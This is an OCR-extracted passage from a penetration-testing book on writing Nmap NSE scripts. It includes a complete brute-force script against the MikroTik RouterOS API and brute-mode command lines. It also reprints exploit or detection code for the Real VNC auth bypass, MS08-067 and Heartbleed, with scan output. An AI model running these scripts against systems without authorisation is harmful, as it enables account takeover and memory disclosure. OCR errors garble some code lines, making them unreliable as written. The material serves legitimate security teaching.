developed to unify coding styles and save time when creating scripts for
brute-force

password-auditing. This library is fully featured and automatically
parallelizes the

login operations performed by the scripts. It supports different execution
modes

that change the iteration order used by the engine when reading lists of
usernames

and passwords. The brute library can handle incomplete login attempts and
re-add

failed username-password combinations to the queue. It also works with the
creds

library to handle and store user credentials found during scans so that other
scripts

can benefit from them. Overall, it's a very complete library offering a solid
base from

which to develop brute-force password-auditing scripts.

The brute NSE library defines the following classes:

* Account

* Engine

* Options

* Error

The names of these classes by themselves should describe their purpose, so
let's jump

into some implementation details.

A typical NSE script invoking the brute engine will need to pass to the



Engine class

constructor a Driver class and host, port, and options tables. After the engine
is

started, instances of the Driver class will be created for each login attempt.
Use the brute.Engine:new() method to create an instance of the engine:
brute.Engine:new(Driver, host, port, options)

The complete code to create a class instance of brute.Engine and start the
attack is

as follows:

local status, result, engine

engine = brute.Engine:new(Driver, host, port, options)
engine:setMaxThreads(thread_num)

engine.options.script_name = SCRIPT_NAME

status, result = engine:start()

Next, we will learn usage tricks and how to define the heart of NSE brute
scripts—the Driver class.

Selecting a brute mode

Execution mode defines the behavior of the iterator object used against the
lists

of usernames and passwords. While the default mode works fine most of the
time, as advanced users we may require to tune the order of the generated
login

combinations, or perhaps to work with a file containing common username
and

password pairs.

The brute library supports three different modes:

* user

* pass

* creds

Let's say our username list contains the following:

* admin



* root

Then let's assume that our password list contains:

* test

 admin

In user mode, the engine will attempt to log in with every password for each
username. With our previously defined lists, the login combinations
generated

will be as follows:

admin:test

admin:admin

root:test

root:admin

In pass mode, the engine will try every username for each password.

Using the preceding lists, it will generate the following login combinations:
admin:test

root:test

admin:admin

root:admin

Finally, creds mode reads a set of credentials from the file defined with the
brute.

credfile library argument. This file should contain login combinations with
usernames and passwords separated by the / character. For example:
 admin/admin

* admin/12345

* admin/

Select a mode by setting the brute.mode library argument. If the argument is
not set, the default value is pass:

$ nmap --script brute --script-args brute.mode=user <target>

Don't forget that creds mode requires the brute.credfile library argument to
be defined:

$nmap --script brute --script-args brute.mode=creds,brute.credfile=/home/
pentest/common-creds.txt <target>

Implementing the Driver class



The brute engine will create instances of the Driver class for each login
attempt.

The methods that need to be defined in this class are:

* Driver:login

* Driver:connect

* Driver:disconnect

The Driver:login() function stores the logic responsible for logging in to the
target using the given username and password. It should return two values: a
Boolean value indicating the operation status and an Account or Error
object.

The Driver:connect() method handles tasks related to establishing the
connection,

such as creating network sockets and checking whether the target is online
and

responding. This method is executed before Driver:login().

Finally, the Driver:disconnect() method is used to perform any additional
clean-up

tasks such as closing file handlers or network sockets. Both Driver:connect()
and

Driver:disconnect() may be empty functions.

The syntax used to declare this class will look something like this:
Driver = {

new = function(self, host, port, options)

end,

login = function(self)

end

connect = function(self)

end

disconnect = function(self)

end

}



Let's take a look at a real implementation of this class. The following is an
edited

snippet from the http-wordpress-brute script. In this case, the
Driver:connect()

and Driver:disconnect() functions aren't really used because HTTP calls
made

with the library http are thread-safe and no raw network sockets are
necessary:

Driver = {

new = function(self, host, port, options)

local o = {}

setmetatable(o, self)

self. _index = self

0.options = options

return o

end,

connect = function( self )

return true

end,

login = function( self, username, password )

-- Note the no_cache directive

stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri)
local response = http.post( self.host, self.port, self.uri, {

no_cache = true }, nil, { [self.options.uservar] = username,
[self.options.passvar] = password } )

-- This redirect is taking us to /wp-admin

if response.status == 302 then

local ¢ = creds.Credentials:new( SCRIPT_NAME, self.host,
self.port )

c:add(username, password, creds.State. VALID )

return true, brute.Account:new( username, password, "OPEN")
end

return false, brute.Error:new( "Incorrect password" )

end,

disconnect = function( self )

return true



end,

check = function( self )

local response = http.get( self.host, self.port, self.uri )
stdnse.print_debug(1, "HTTP GET %s%s",
stdnse.get_hostname(self.host),self.uri)

-- Check if password field is there

if ( response.status == 200 and
response.body:match('type=[\""]password[\'""]")) then
stdnse.print_debug(1, "Initial check passed. Launching brute
force attack™)

return true

else

stdnse.print_debug(1, "Initial check failed. Password field
wasn't found")

end

return false

end

}

Passing library and user options

One of the strengths of the brute library is its flexibility. It supports several
runtime

configuration options to tune the behavior of the engine programmatically or
with

command-line arguments. For example, by enabling brute.firstonly, we make
the engine stop and exit after finding the first account, which is a handy
option if



we are looking for quick access. Of course, this is just the tip of the iceberg
when it

comes to the options supported by the library.

The options defined in this library are:

» firstonly

* passonly

e max_retries

* delay

* mode

* title

* nostore

* max_guesses

* useraspass

* emptypass

As we just mentioned, the brute.firstOnly library argument is a Boolean
value.

If set, it makes the engine exit after finding the first valid account. To enable
it via

the command line, we use this expression:

$ nmap --script brute --script-args brute.firstOnly <target>

The brute.passOnly argument is designed to help us test passwords of a
blank user

account. To set this library argument, we type the following in the command
line:

$ nmap --script brute --script-args brute.passOnly <target >

The brute.max_retries library option sets the number of network connection
attempts per login. Be careful; in this case, the option uses a different name
if we

decide it to set it with the command line:

$ nmap --script brute --script-args brute.retries=10 <target>

The brute.delay option sets the amount of time (in seconds) to wait between
login

attempts. Here is the expression to set this value from the command line:

$ nmap --script brute --script-args brute.delay=3 <target>

Some systems lock accounts after certain number of failed login attempts.
The



brute.max_guesses option defines the number of login attempts for each
account.

Be careful with this one; the argument name is a little different if you want
to set it

from the command line:

$ nmap --script brute --script-args brute.guesses=10 <target>

By default, the brute library will attempt to log in using the username as a
password. Update the value of brute.useraspass programmatically or set it
from

the command line with the following command:

$ nmap --script brute --script-args brute.useraspass=false <target>

The brute.emptypass option argument makes the library attempt to log in
using

empty passwords. This value can be set programmatically or from the
command

line as well:

$ nmap --script brute --script-args brute.emptypass <target>

All the preceding options can also be set programmatically. For example, to
set the

brute.emptypass option, you simply need to set the variable in the
constructor of

the Driver class:

Driver =

{

new = function(self, host, port, options )

local o = { host = host, port = port, options = options }

setmetatable(o, self)

self. index = self

0.emptypass = true

return o

end,

.
User-defined options are allowed and are simple to use. Just pass the options
table

as the fourth parameter to the brute.Engine constructor:
local options = {timeout = 5000}



local engine = brute.Engine:new(Driver, host, port, options)

To read or use these user-defined options in your Driver class, you simply
access the

self object that was passed as the first argument. For example:

if self.options['timeout'] == 0 then

--Do something

end

Returning valid accounts via Account objects

The Account class is used to represent the valid accounts found in the target
during

execution. Each account stored using this class will have a state.

The available states are:

* OPEN

* DISABLED

* LOCKED

You will find yourself working with this object when implementing the
Driver

class. An instance of this class must be used as a return value of the
Driver:login()

function. To create an instance, you simply call the constructor with the
desired

username, password, and account state:

brute.Account:new(username, password, "OPEN")

It is important you set the correct state of the account in your scripts.
Normally, you

will end up with something like this inside your Driver:login()
implementation:

if string.find(data, "Welcome home") ~= nil then

return true, brute.Account:new(username, password,

"OPEN")

elseif string.find(data, "Too many attempts. This account has been
locked") ~= nil then

return true, brute.Account:new(username, password,

"LOCKED")

end



Reading usernames and password lists

with the unpwdb NSE library

Developers sticking to the framework proposed by the brute library don't
need to

worry about reading the username and password database shipped with
Nmap.

However, if you find yourself writing scripts without this library for any
reason,

you could use the unpwdb library to do so.

The unpwdb library provides two functions: usernames() and passwords().
They

return a function closure (if successful) that outputs usernames and
passwords with

each call correspondingly. The returned closures can also take the reset
argument

to set the pointer at the beginning of the list.

The following snippet illustrates how to use these function closures to
interact with

the username and password database:

local usernames, passwords

local nmap_try = nmap.new_try()

usernames = nmap_try(unpwdb.usernames())

passwords = nmap_try(unpwdb.passwords())

for password in passwords do

for username in usernames do

-- Do something!

end

usernames(''reset") --Rewind list
end

Managing user credentials found during scans

In versions before 6.x, the credentials found by NSE were stored in the
Nmap

registry. The creds library was created to provide an interface to easily read
and write user credentials stored in this registry. Each account is linked to a



state, similar to the brute.Account class, so it allows type filtering.

From an NSE script, you could list all the accounts found with one call:
tostring(creds.Credentials:new(SCRIPT_NAME, host, port))

You can also iterate through them and perform specific actions according to
type:

local ¢ = creds.Credentials:new(creds.ALL_DATA, host, port)

for cred in c:getCredentials(creds.State. VALID) do
doSomething(cred.user, cred.pass)

end

You can easily write them to a file:

local ¢ = creds.Credentials:new( SCRIPT_NAME, host, port )

status, err = c:saveToFile("credentials-dumpfile-csv","csv"

New credentials can be written globally or linked to a specific service. For
example,

to add credentials specific to the HTTP service, we could use this:

$ nmap -p- --script brute --script-args creds.http="cisco:cisco" <target>

Then we could use the global keyword as the argument name to add them
globally:

$ nmap -p- --script brute --script-args
creds.global="administrator:administrator" <target>

Finally, we would write a new set of credentials to the registry
programmatically,

like this:

local ¢ = creds.Credentials:new(SCRIPT_NAME, self.host, self.port

)

c:add(username, password, creds.State. VALID )

Writing an NSE script to launch

password-auditing attacks against the

MikroTik RouterOS API

Let's tie everything together by writing a complete NSE script that uses all
the

libraries seen in this chapter. On this occasion, we will target devices
running

MikroTik RouterOS 3.x and higher versions with API access enabled.



The API service usually runs on TCP port 8728, and it allows administrative
access

to the devices running this operating system. Often, administrators will lock
down

HTTP and SSH but not the API. Let's write a script that helps us perform
brute-force

password-auditing against this service:

1. First, let's start with the information tags and required libraries:
description = [[

Performs brute force password auditing against Mikrotik

RouterOS devices with the API RouterOS interface enabled.

Additional information:

* http://wiki.mikrotik.com/wiki/API

* http://wiki.mikrotik.com/wiki/API_in_C

* https://github.com/mkbrutusproject/ MKBRUTUS

1]

author = "Paulino Calderon <calderon()websec.mx>"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html "

categories = {"discovery", "brute"}

local shortport = require "shortport"

local comm = require "comm"

local brute = require "brute"

local creds = require "creds"

local stdnse = require "stdnse"

local openssl = stdnse.silent_require "openssl"

2. The script will run when TCP port 8728 is open because Nmap does
not detect this service correctly at the moment. Let's use shortport.
portnumber() to define this as a port rule:

portrule = shortport.portnumber(8728, "tcp")

3. Next, let's start implementing our Driver class. The default administrative
account in this type of device is admin, with a blank password, so let's
enable

empty passwords when defining the constructor:

Driver =

{

new = function(self, host, port, options )


http://nmap.org/book/man-legal.html

local o = { host = host, port = port, options = options }

setmetatable(o, self)

self.__index = self

0.emptypass = true

return o

end

}

4. Our Driver:connect() function should set up the socket connection

we are going to need. Notice how we access the options table to read the
timeout value:

connect = function( self )

self.s = nmap.new_socket("tcp")
self.s:set_timeout(self.options['timeout'])

return self.s:connect(self.host, self.port, "tcp")

end

5. Now we need a Driver:disconnect() function to close the network sockets
correctly to avoid socket exhaustion:

disconnect = function( self )

return self.s:close()

end

Finally we get to the good part, our Driver:login() function. Here, we
construct a

valid login query for the API protocol. Let's break it down a bit:

1. First, we create the required connection probe with the help of bin.pack()
and an Nmap exception handler:

login = function( self, username, password )

local status, data, try

data = bin.pack("cAx", 0x6,"/login")

try = nmap.new_try(function() return false end)

2. Let's send this probe to the target and attempt to obtain a challenge
response:

try(self.s:send(data))

data = try(self.s:receive_bytes(50))

stdnse.debug(1, "Response #1:%s", data)

local _, _, ret = string.find(data, ''done%%=ret=(.+)")

3. If the challenge response was extracted correctly, we can form the login



query string:

if ret then

stdnse.debug(1, "Challenge value found:%s", ret)
local md5str = bin.pack("xAA", password, ret)

local chksum = stdnse.tohex(openssl.md5(md5str))
local login_pkt = bin.pack("cAcAcAx", 0x6,
"/login", 0x0b, "=name="..username, 0x2c,
"=response=00"..chksum)

4. Let's send the login query and wait for a response:
try(self.s:send(login_pkt))

data = try(self.s:receive_bytes(50))

stdnse.debug(1, "Response #2:%s", data )

5. We then look for the text pattern that indicates that the login attempt was
successful. If it was, we can add it to our credentials registry and return the
results to the engine:

if data and string.find(data, "%!done") ~= nil then

if string.find(data, "message=cannot") == nil

then

local ¢ = creds.Credentials:new(SCRIPT_NAME,
self.host, self.port )

c:add(username, password, creds.State. VALID )
return true, brute. Account:new(username,

password, creds.State. VALID)

end

end

6. If the login attempt wasn't successful, we return an instance of brute.Error:
return false, brute.Error:new( "Incorrect password" ).
7. Our final class will look like this:

Driver =

{

new = function(self, host, port, options )

local o = { host = host, port = port, options = options }
setmetatable(o, self)

self.__index = self

0.emptypass = true

return o



end,

connect = function( self )

self.s = nmap.new_socket("tcp")
self.s:set_timeout(self.options['timeout'])

return self.s:connect(self.host, self.port, "tcp")

end,

login = function( self, username, password )

local status, data, try

data = bin.pack("cAx", 0x6,"/login")

--Connect to service and obtain the challenge response
try = nmap.new_try(function() return false end)
try(self.s:send(data))

data = try(self.s:receive_bytes(50))
stdnse.debug(1, "Response #1:%s", data)

local _, _, ret = string.find(data, ''done%%=ret=(.+)")
--If we find the challenge value we continue the
connection process

if ret then

stdnse.debug(1, "Challenge value found:%s", ret)
local md5str = bin.pack("xAA", password, ret)
local chksum = stdnse.tohex(openssl.md5(md5str))
local login_pkt = bin.pack("cAcAcAx", 0x6,
"/login", 0x0b, "=name="..username, 0x2c,
"=response=00"..chksum)
try(self.s:send(login_pkt))

data = try(self.s:receive_bytes(50))
stdnse.debug(1, "Response #2:%s", data)

if data and string.find(data, "%!done") ~= nil then
if string.find(data, "message=cannot") == nil
then

local c = creds.Credentials:new(SCRIPT_NAME,
self.host, self.port )

c:add(username, password, creds.State. VALID )
return true, brute. Account:new(username,
password, creds.State. VALID)

end



end

end

return false, brute.Error:new( "Incorrect password" )

end,

disconnect = function( self )

return self.s:close()

end

}

Finally, the only thing left to do is to create an instance of brute.Engine. Our
main

action code block will initialize brute.Engine and read a couple of arguments
defining configuration options such as thread number and connection
timeout:

action = function(host, port)

local result

local thread_num =
stdnse.get_script_args(SCRIPT_NAME..".threads") or 3

local options = {timeout = 5000}

local bengine = brute.Engine:new(Driver, host, port, options)
bengine:setMaxThreads(thread_num)

bengine.options.script_name = SCRIPT_NAME

_, result = bengine:start()

return result

end

Our final version is ready, and we can go and test it against our target. The
library

will take care of producing a nice report for us:

PORT STATE SERVICE

8728/tcp open unknown

| mikrotik-routeros-brute:

| Accounts

| admin - Valid credentials

| Statistics

|_ Performed 500 guesses in 70 seconds, average tps: 7

And that's all! We have created a very powerful NSE script that performs
brute-force



password-auditing against a service in fewer than 100 lines. I recommend
that you

find a service or application and write an NSE brute script for it. You will be
very

pleased with its power if you are not already pleased.

Vulnerability scanning

The simplest way of turning Nmap into a vulnerability scanner is to run
scripts

from the vuln NSE category that check for specific vulnerabilities. Currently,
there

are 66 scripts available, targeting popular applications, products, protocols,
and

services. While this number may not be that impressive, the vulnerability



exploitation

capabilities of NSE can save us countless hours when developing exploits
from scratch.

Some of the key aspects of using NSE for vulnerability detection are as
follows:

* Host information gathered during scans can be accessed via the Nmap API
* NSE scripts can generate additional host information through advanced
fingerprinting during runtime

» NSE scripts can share valid credentials found during execution among
other scripts

* NSE provides several network protocol libraries, and they are ready to use
* The vuln NSE library provides a simple interface to create well-organized
vulnerability reports

» NSE offers robust parallelism support and error handling mechanisms
Remember that, to execute all the scripts belonging to a certain category, we
must

simply pass the category name to the --script argument. This action will
generally

yield better results if we activate and enhance version detection (-sV --
version-all)

and cover the entire valid port range (-p):

$ nmap -sV --version-all -p- --script vuln <target>

If we are lucky, we should see a vulnerability report (or reports) with
detailed

descriptions of the issues found. The following is a report of the ssl-ccs-
injection

NSE script:

PORT STATE SERVICE

443/tcp open https

| ssl-ccs-injection:

| VULNERABLE:

| SSL/TLS MITM vulnerability (CCS Injection)

| State: VULNERABLE

| Risk factor: High

| Description:

| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before



| 1.0.1h does not properly restrict processing of

ChangeCipherSpec

| messages, which allows man-in-the-middle attackers to

trigger use

| of a zero-length master key in certain OpenSSL-to-OpenSSL

| communications, and consequently hijack sessions or obtain

| sensitive information, via a crafted TLS handshake, aka the

| "CCS Injection" vulnerability.

|

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224

| http://www.cvedetails.com/cve/2014-0224

|_ http://www.openssl.org/news/secadv_20140605.txt

Furthermore, you could also pass the vulns.showall script parameter to show
all

the attempted exploits:

$ nmap -sV --script vuln --script-args vulns.showall <target>

This will generate the following output:

| http-method-tamper:

| NOT VULNERABLE:

| Authentication bypass by HTTP verb tampering

| State: NOT VULNERABLE

| References:

| http://capec.mitre.org/data/definitions/274.html

|

https://www.owasp.org/index.php/Testing_for_ HTTP_Methods_and_XST_
%280

WASP-CM-008%29

| http://www.mkit.com.ar/labs/htexploit/

=
http://www.imperva.com/resources/glossary/http_verb_tampering.html
| http-phpmyadmin-dir-traversal:

| NOT VULNERABLE:

| phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local
File Inclusion

| State: NOT VULNERABLE



| IDs: CVE:CVE-2005-3299

| References:

| http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
|_ http://www.exploit-db.com/exploits/1244/

| http-phpself-xss:

| NOT VULNERABLE:

| Unsafe use of $_SERVER["PHP_SELF"] in PHP files

| State: NOT VULNERABLE

| References:

| http://php.net/manual/en/reserved.variables.server.php

|_ https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

| http-slowloris-check:

| NOT VULNERABLE:

| Slowloris DOS attack

| State: NOT VULNERABLE

| References:

|_ http://ha.ckers.org/slowloris/

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

| http-tplink-dir-traversal:

| NOT VULNERABLE:

| Path traversal vulnerability in several TP-Link wireless routers

| State: NOT VULNERABLE

| References:

|_ http://websec.ca/advisories/view/path-traversal
-vulnerability-tplink-wdr740

| http-vuln-cve2010-2861:

| NOT VULNERABLE:

| Adobe ColdFusion Directory Traversal Vulnerability

| State: NOT VULNERABLE

| IDs: CVE:CVE-2010-2861 OSVDB:67047

| References:

|
http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking
| http://www.nessus.org/plugins/index.php?view=single&id=48340
| http://web.nvd.nist.gov/view/vuln/detail?vulnld=CVE-2010-2861
| http://osvdb.org/67047


http://osvdb.org/67047

|_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2861
| http-vuln-cve2011-3192:

| NOT VULNERABLE:

| Apache byterange filter DoS

| State: NOT VULNERABLE

| IDs: CVE:CVE-2011-3192 OSVDB:74721

| References:

| http://seclists.org/fulldisclosure/2011/Aug/175

| http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| http://nessus.org/plugins/index.php?view=single&id=55976

|_ http://osvdb.org/74721

The exploit NSE category contains 32 scripts used to attack specific
applications

and services; as the name states, they are fully configurable working
exploits.

Among these scripts, a few come to mind because of how useful they have
been

to me in the past:

« http-csrf: This spiders a website and attempts to detect Cross-site
Request Forgery vulnerabilities.

* http-stored-xss: This finds stored Cross-site vulnerabilities.

* http-adobe-coldfusion-apsal301: This attempts to retrieve an

HTTP session cookie that grants administrative access in the vulnerable
Coldfusion 9 and 10.

* http-iis-short-name-brute: This exploits IIS web servers to obtain the
Windows 8.3 short names of the files and folders stored in the webroot
folder.

* jdwp-exec: This exploits the Java Debug Wire Protocol.
 smb-check-vulns: This detects several vulnerabilities found in outdated
Windows systems. It is the easiest way of detecting vulnerable Windows
XP systems on the network.

Don't forget to take a look at the entire list of available scripts in this
category.

Many popular vulnerability scanners won't detect IIS web servers that leak
the



short names of files stored in their root folders. If I see IIS web servers, I
always try

the http-is-short-name-brute NSE script, which will not only detect but also
exploit the vulnerability, to obtain the entire list of files and folders stored in
the

webroot folder:

$ nmap -p80 --script http-is-short-name-brute <target>

This script will generate the following output:

PORT STATE SERVICE

80/tcp open http

| http-iis-short-name-brute:

| VULNERABLE:

| Microsoft IIS tilde character "~" short name disclosure and
denial of service

| State: VULNERABLE (Exploitable)

| Description:

| Vulnerable IIS servers disclose folder and file names with
a Windows 8.3 naming scheme inside the webroot folder.

| Shortnames can be used to guess or brute force sensitive
filenames. Attackers can exploit this vulnerability to

| cause a denial of service condition.

| Extra information:

|

| 8.3 filenames found:
| Folders

| admini~1

| Files

| backup~1.zip

| certsb~2.zip

| siteba~1.zip

|

| References:

| http://soroush.secproject.com/downloadable/microsoft_iis_
tilde_cha



racter_vulnerability_feature.pdf
|_ http://code.google.com/p/iis-shortname-scanner-poc/

Exploiting Real VNC

Real VNC is a popular product that includes both the client and the server for
the

VNC protocol to administer workstations remotely. Unfortunately, it is
common to

find outdated versions of this software in the wild. Version 4.1.1 and several
other

free, personal, and enterprise editions are affected by an authentication
bypass

vulnerability that allows attackers to gain access to the VNC servers.

To detect vulnerable VINC servers, we simply need to send a null
authentication

packet and check the response status code. Nmap has the realvnc-auth-
bypass

NSE script that exploits this issue. Let's take a look at the internals of this
script.

As always, we begin with our description and library calls:

description = [[

Checks if a VNC server is vulnerable to the Real VNC authentication
bypass

(CVE-2006-2369).

1]

author = "Brandon Enright"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"auth", "default", "safe"}

local nmap = require "nmap"

local shortport = require "shortport"

local vulns = require "vulns"

The script sets the port rule to execute when port 5900 is open or the service
name

detected is vnc:

portrule = shortport.port_or_service(5900, "vnc"

The main action code block will create an NSE socket to communicate with


http://code.google.com/p/iis-shortname-scanner-poc/

the

service, send a couple of packets, and then check the responses to determine
whether the server is vulnerable:

action = function(host, port)

local socket = nmap.new_socket()

local result

local status = true

socket:connect(host, port)

status, result = socket:receive_lines(1)

if (not status) then

socket:close()

return

end

socket:send("RFB 003.008\n")

status, result = socket:receive_bytes(2)

if (not status or result ~= "\001\002") then
socket:close()

return

nd

socket:send("\001")

status, result = socket:receive_bytes(4)

if (not status or result ~= "\000\000\000\000") then

socket:close()

return

end

socket:close()

return "Vulnerable"

end

Vulnerable VNC servers will return the following output:

PORT STATE SERVICE VERSION

5900/tcp open vinc VNC (protocol 3.8)

|_realvnc-auth-bypass: Vulnerable

This script was submitted some time ago, and it does not produce the best
output

format, but we will go back to it later on in the chapter when we learn more
about



the vulns NSE library.

Detecting vulnerable Windows systems

Some scripts may require additional arguments to execute vulnerability
checks

correctly; for example, my all-time favorite, smb-check-vulns, requires users
to

set the unsafe script parameter to run all checks:

$ nmap -p- -sV —script vuln --script-args unsafe <target>

This script will generate the following output:

Host script results:

| smb-check-vulns:

| MS08-067: VULNERABLE

| Conficker: Likely CLEAN

| regsvc DoS: regsvc DoS: ERROR (NT_STATUS_ACCESS_DENIED)
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

| MS06-025: NO SERVICE (the Ras RPC service is inactive)

|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

end

-- Bind to SRVSVC service

status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID,
msrpc.SRVSVC_VERSION, nil)

if(status == false) then

msrpc.stop_smb(smbstate)

return false, bind_result

end

-- Call netpathcanonicalize

-- status, netpathcanonicalize_result =
msrpc.srvsve_netpathcanonicalize(smbstate, host.ip, "\a",
"\\test\\")



local pathl =
"W\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN.\
"

local path2 = "\\n"

status, netpathcompare_result =
msrpc.srvsve_netpathcompare(smbstate, host.ip, path1, path2, 1, 0)
-- Stop the SMB session

msrpc.stop_smb(smbstate)

if(status == false) then

if(string.find(netpathcompare_result,
"WERR_INVALID_PARAMETER") ~= nil) then

return true, INFECTED

elseif(string.find(netpathcompare_result, "INVALID_NAME") ~=
nil) then

return true, PATCHED

else

return true, UNKNOWN, netpathcompare_result

end

end

return true, VULNERABLE

end

We will omit the function in charge of formatting the output. Vulnerable
Windows

workstations will yield an output similar to the following:

Host script results:

| smb-check-vulns:

| MS08-067: VULNERABLE

| Conficker: Likely CLEAN

| regsvc DoS: regsvc DoS: ERROR (NT_STATUS_ACCESS_DENIED)

| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

| MS06-025: NO SERVICE (the Ras RPC service is inactive)

|_MSO07-029: NO SERVICE (the Dns Server RPC service is inactive)

In this case, the NSE libraries make the vulnerability detection function look
very

simple, but keep in mind that the library is doing the heavy lifting regarding
protocol



communication. However, the next time you encounter a new SMB
vulnerability,

you can use this same library and start working on the bits specific to your
attack

vector; you won't need to spend any time working on protocol
communication tasks.

Even if you need to create a new protocol library, you have the power of Lua
and

NSE at your disposal.

Exploiting the infamous heartbleed

vulnerability

The heartbleed vulnerability affects the OpenSSL implementation of SSL
and TLS

versions 1.0.1 through 1.0.1f. It is a very popular cryptographic library, and
it can

be found in hundreds (possibly thousands) of different products, including
software

and hardware. It was estimated that it affected around 14 percent of the web
servers

at the moment of disclosure—that is, April 1, 2014. In June 2014, there were
still

309,197 vulnerable servers running on port 443. This was one of the most
interesting

vulnerabilities of the year because it allowed attackers to steal credentials,
cookies,

and private keys by reading arbitrary memory locations.

The Heartbeat extension was introduced as a feature to improve performance
by

reducing the number of renegotiations between clients. By crafting a
heartbeat with

a size larger than the destination structure, attackers can read up to 64 KB of
memory

data per heartbeat.

Let's look at the ssl-heartbleed script submitted by Patrik Karlsson to learn
how

to detect this vulnerability with NSE. This script uses the tls library



(http://nmap.

org/nsedoc/lib/tls.html) to create TLS/SSL communication messages and
buffers. Let's focus on the detection routine:

1. We start by creating the client_hello message using tls.client_hello():
local hello = tls.client_hello({

["protocol"] = version,

-- Claim to support every cipher

-- Doesn't work with IIS, but IIS isn't vulnerable

["ciphers"] = keys(tls. CIPHERS),

["compressors"] = {"NULL"},

["extensions"] = {

-- Claim to support every elliptic curve

["elliptic_curves"] =

tls. EXTENSION_HELPERS["elliptic_curves"](keys(tls. ELLIPTIC_
CURVES)),

-- Claim to support every EC point format

["ec_point_formats"] =

tls. EXTENSION_HELPERS["ec_point_formats"](keys(tls. EC_POINT
_FORMATY)),

["heartbeat"] = "\x01", -- peer_not_allowed_to_send

i
y
2. Now let's define our heartbeat request with the help of tls.record_
write(type, protocol, body):

local payload = stdnse.generate_random_string(19)

local hb = tls.record_write("heartbeat", version,

bin.pack("C>SA",

1, -- HeartbeatMessageType heartbeat_request

0x4000, -- payload length (falsified)

-- payload length is based on 4096 - 16 bytes padding

- 8 bytes packet

-- header + 1 to overflow

payload -- less than payload length.

)
)

3. The tls library does not handle socket communication at all; we will



need to implement it ourselves. In this case, to send our client_hello
message, we set up the socket with nmap.new_socket() or
tls.getPrepareTLSWithoutReconnect(port), depending on
whether the protocol uses the START_TLS mechanism:
local s

local specialized =

sslcert.getPrepare TL SWithoutReconnect(port)

if specialized then

local status

status, s = specialized(host, port)

if not status then

stdnse.debug3("Connection to server failed")

return

end

else

s = nmap.new_socket()

local status = s:connect(host, port)

if not status then

stdnse.debug3("Connection to server failed")
return

end

end

s:set_timeout(5000)

-- Send Client Hello to the target server

local status, err = s:send(hello)

if not status then

stdnse.debug1("Couldn't send Client Hello: %s", err)
s:close()

return nil

end

4. The tls.record_read() function is used to read an SSL/TLS record and
check for the heartbeat extension:

-- Read response

local done = false

local supported = false

locali=1



local response

repeat

status, response, err = tls.record_buffer(s, response,
i)

if err == "TIMEOUT" then

-- Timed out while waiting for server_hello_done
-- Could be client certificate required or other
message required

-- Let's just drop out and try sending the heartbeat
anyway.

done = true

break

elseif not status then

stdnse.debug1("Couldn't receive: %s", err)
s:close()

return nil

end

local record

i, record = tls.record_read(response, i)

if record == nil then
stdnse.debug1("Unknown response from server")
s:close()

return nil

elseif record.protocol ~= version then
stdnse.debug1("Protocol version mismatch")
s:close()

return nil

end

if record.type == "handshake" then

for _, body in ipairs(record.body) do

if body.type == "server_hello" then

if body.extensions and

body.extensions[ "heartbeat"] == "\x01" then
supported = true

end

elseif body.type == "server_hello_done" then



stdnse.debug1("we're done!")

done = true
end

end

end

until done

if not supported then

stdnse.debug1("Server does not support TLS Heartbeat
Requests.")

s:close()

return nil

end

5. Then we send our heartbeat request through our socket:
status, err = s:send(hb)

if not status then

stdnse.debug1("Couldn't send heartbeat request: %s",
err)

s:close()

return nil

end

6. Finally, we read the responses and determine whether the server is
vulnerable or not:

while(true) do

local status, typ, ver, len = recvhdr(s)

if not status then

stdnse.debug1('No heartbeat response received, server
likely not vulnerable')

break

end

if typ == 24 then

local pay

status, pay = recvmsg(s, 0x0fe9)

s:close()

if #pay > 3 then

return true

else



stdnse.debug1('Server processed malformed

heartbeat, but did not return any extra data.")

break

end

elseif typ == 21 then

stdnse.debug1('Server returned error, likely not

vulnerable')

break

end

end

For completeness, the recvhdr(s) and recvmsg(s, len) helper routines used
previously are defined as follows:

local function recvhdr(s)

local status, hdr = s:receive_buf(match.numbytes(5), true)
if not status then

stdnse.debug3('Unexpected EOF receiving record header - server
closed connection')

return

end

local pos, typ, ver, In = bin.unpack('>CSS', hdr)

return status, typ, ver, In

end

local function recvmsg(s, len)

local status, pay = s:receive_buf(match.numbytes(len), true)
if not status then

stdnse.debug3('Unexpected EOF receiving record payload -
server closed connection')

return

end

return true, pay

end

That's all of the code we need to complete our detection routine. The rest of
the script

uses the vulns library to create a vulnerability report. We will learn more
about this

library at the end of this chapter.



The ssl-heartbleed script is distributed. The complete source code of the
ssl-heartbleed script can be found at https://svn.nmap.org/nmap/scripts/
ssl-heartbleed.nse

Nmap Cheat Sheet

Scan a Single Target nmap [target]

Scan Multiple Targets nmap [targetl, target2, etc]

Scan a List of Targets nmap -iL [list.txt]

Scan a Range of Hosts nmap [range of ip addresses]

Scan an Entire Subnet nmap [ip address/cdir]

Scan Random Hosts nmap -iR [number]

Excluding Targets from a Scan nmap [targets] —-exclude
[targets]

Excluding Targets Using a List nmap [targets] --excludefile
[list.txt]

Perform an Aggressive Scan nmap -A [target]

Scan an IPv6 Target nmap -6 [target]

Perform a Ping Only Scan nmap -sP [target]

Don’t Ping nmap -PN [target]

TCP SYN Ping nmap -PS [target]

TCP ACK Ping nmap -PA [target]

UDP Ping nmap -PU [target]

SCTP INIT Ping nmap -PY [target]

ICMP Echo Ping nmap -PE [target]

ICMP Timestamp Ping nmap -PP [target]

ICMP Address Mask Ping nmap -PM [target]

IP Protocol Ping nmap -PO [target]

ARP Ping nmap -PR [target]

Traceroute nmap --traceroute [target]

Force Reverse DNS Resolution nmap -R [target]




Disable Reverse DNS Resolution

nmap -n [target]

